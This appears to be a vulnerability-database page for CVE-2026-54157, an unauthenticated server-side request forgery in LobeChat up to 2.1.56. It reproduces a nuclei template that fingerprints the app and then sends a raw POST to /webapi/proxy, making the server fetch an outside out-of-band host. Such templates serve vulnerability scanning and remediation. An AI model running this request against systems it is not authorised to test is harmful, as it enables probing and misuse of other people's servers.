Lucene search
K

LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery

🗓️ 07 Jul 2026 03:01:27Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

SSRF in LobeChat up to 2.1.56 via /webapi/proxy enables outbound requests; upgrade to 2.1.57.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-54157
23 Jun 202617:43
attackerkb
Circl
CVE-2026-54157
23 Jun 202620:17
circl
CVE
CVE-2026-54157
23 Jun 202617:43
cve
Cvelist
CVE-2026-54157 LobeHub: Unauthenticated SSRF in `/webapi/proxy`
23 Jun 202617:43
cvelist
EUVD
EUVD-2026-38555
23 Jun 202617:43
euvd
Github Security Blog
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
16 Jun 202620:15
github
NVD
CVE-2026-54157
23 Jun 202618:18
nvd
OSV
GHSA-XMWJ-C75X-6346 LobeHub: Unauthenticated SSRF in `/webapi/proxy`
16 Jun 202620:15
osv
Positive Technologies
PT-2026-49346
15 Jun 202600:00
ptsecurity
Vulnrichment
CVE-2026-54157 LobeHub: Unauthenticated SSRF in `/webapi/proxy`
23 Jun 202617:43
vulnrichment
Rows per page
id: CVE-2026-54157

info:
  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
  author: 0xj3st3r
  severity: medium
  description: |
    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.
  impact: |
    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.
  remediation: |
    Upgrade LobeHub LobeChat to version 2.1.57 or later.
  reference:
    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157
  classification:
    cve-id: CVE-2026-54157
    epss-score: 0.0178
    epss-percentile: 0.75578
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2026,lobechat,ssrf,vuln,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /webapi/proxy HTTP/1.1
        Host: {{Hostname}}

        http://oast.me

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<h1> Interactsh Server </h1>")'
        condition: and
# digest: 4a0a00473045022059cdf05e09598df758db6760149cb508de18575329930b145679d6f0f0e8fa4c022100cfc82f99922fe1deac8c6d566a91bae7ce8875bc627f33b194989142ad6b2d08:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 11:30Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19
EPSS0.0178
SSVC
6